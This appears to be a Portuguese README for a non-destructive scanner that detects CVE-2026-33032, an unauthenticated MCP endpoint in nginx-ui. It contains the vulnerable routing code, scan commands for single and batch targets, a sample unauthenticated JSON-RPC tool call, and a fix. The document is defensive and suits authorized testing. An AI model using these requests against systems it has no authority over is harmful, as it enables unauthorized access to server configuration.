
Scanner de vulnerabilidades não destrutivo para bypass de autenticação do endpoint MCP do Nginx-UI (CVE-2026-33032)
Scanner de vulnerabilidade não destrutivo para bypass de autenticação do endpoint MCP do Nginx-UI
CVE-2026-33032 é uma vulnerabilidade de bypass de autenticação na integração Model Context Protocol (MCP) do nginx-ui. O endpoint /mcp_message não possui middleware de autenticação, embora forneça acesso a todas as ferramentas MCP, permitindo que atacantes remotos:
Assimetria de Autenticação: O endpoint /mcp exige autenticação, mas /mcp_message não:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // AuthRequired() ausente
Lista de IPs Permitidos Fail-Open: A lista de IPs permitidos padrão é vazia, o que o middleware trata como "permitir todos"
Ambos os Endpoints Compartilham Handler: Ambos roteiam para o mesmo mcp.ServeHTTP() que processa todas as invocações de ferramentas MCP
✅ Teste não destrutivo - Usa apenas ferramentas MCP somente leitura
✅ Fingerprinting abrangente - Identifica instalações nginx-ui
✅ Prova de conceito segura - Nenhuma alteração de configuração é feita
✅ Varredura em lote - Processa múltiplos alvos a partir de arquivo
✅ Relatórios detalhados - Saída JSON para integração
# Clone ou baixe o scanner
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# Instale as dependências (se necessário)
pip3 install requests
# Varre um único alvo
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# Varre com saída detalhada
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# Timeout personalizado
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# Varre múltiplos alvos a partir de arquivo
python3 cve-2026-33032-scanner.py -f targets.txt
# Com saída detalhada e relatório JSON
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
#Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt - uma URL por linha
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
O scanner executa um processo de detecção em múltiplas etapas:
Verifica endpoints comuns do nginx-ui para identificar a instalação:
/api/info - Informações de versão/login - Página de login/api/auth/login - Endpoint de autenticação/mcp e /mcp_message - Endpoints MCPTesta o endpoint /mcp para verificar se ele exige autenticação adequadamente (linha de base)
Tenta chamadas de ferramentas MCP não destrutivas via /mcp_message SEM autenticação:
Se qualquer ferramenta for bem-sucedida sem autenticação, a vulnerabilidade é confirmada.
O scanner invoca apenas ferramentas MCP somente leitura:
| Ferramenta | Descrição | Impacto |
|---|---|---|
nginx_status | Lê o status do serviço nginx | Sem alterações |
nginx_config_list | Lista arquivos de configuração | Sem alterações |
nginx_config_base_path | Obtém o caminho do diretório de configuração | Sem alterações |
Ferramentas explicitamente evitadas:
nginx_config_add - Criaria arquivosnginx_config_modify - Alteraria configuraçõesrestart_nginx / reload_nginx - Interrupção do serviçonginx_config_enable - Alteraria configurações ativas[+] nginx-ui detectado: 'nginx-ui' encontrado em /login
[+] Endpoint /mcp devidamente protegido
[*] Testando endpoint /mcp_message (CVE-2026-33032)...
[*] Tentando ferramenta: nginx_status - Ler status do nginx (mais seguro)
Status: 200
======================================================================
[!] VULNERÁVEL a CVE-2026-33032
======================================================================
Prova: nginx_status executado com sucesso sem autenticação
[+] nginx-ui detectado: Endpoint de versão acessível
[+] Endpoint /mcp devidamente protegido
[*] Testando endpoint /mcp_message (CVE-2026-33032)...
[*] Tentando ferramenta: nginx_status - Ler status do nginx (mais seguro)
Status: 401
Autenticação exigida (protegido) ✓
[+] NÃO vulnerável - endpoint exige autenticação
Se a vulnerabilidade for confirmada:
Correção Imediata: Adicione middleware de autenticação ao /mcp_message:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
Defesa em Profundidade:
Atualização: Atualize para a versão corrigida do nginx-ui quando disponível
Esta ferramenta foi projetada para:
NÃO use esta ferramenta em sistemas que você não possui ou para os quais não tem permissão explícita de teste.
Ao relatar esta vulnerabilidade:
Severidade: Crítica (CVSS 9.8+)
Prova: Inclua a saída do scanner mostrando invocação bem-sucedida de ferramenta MCP sem autenticação
Cadeia de Impacto:
PoC Seguro: Use apenas as ferramentas somente leitura (nginx_status, nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx está em execução (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "autenticação exigida"
}
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado.
Antony Esthak Twinson @ Cyber Tamarin
Pesquisador de Segurança | Caçador de Bug Bounty
Especializado em Segurança de Aplicações Web e Pesquisa de Vulnerabilidades
Aviso Legal: Este scanner realiza apenas testes não destrutivos. Sempre obtenha autorização adequada antes de testar qualquer sistema.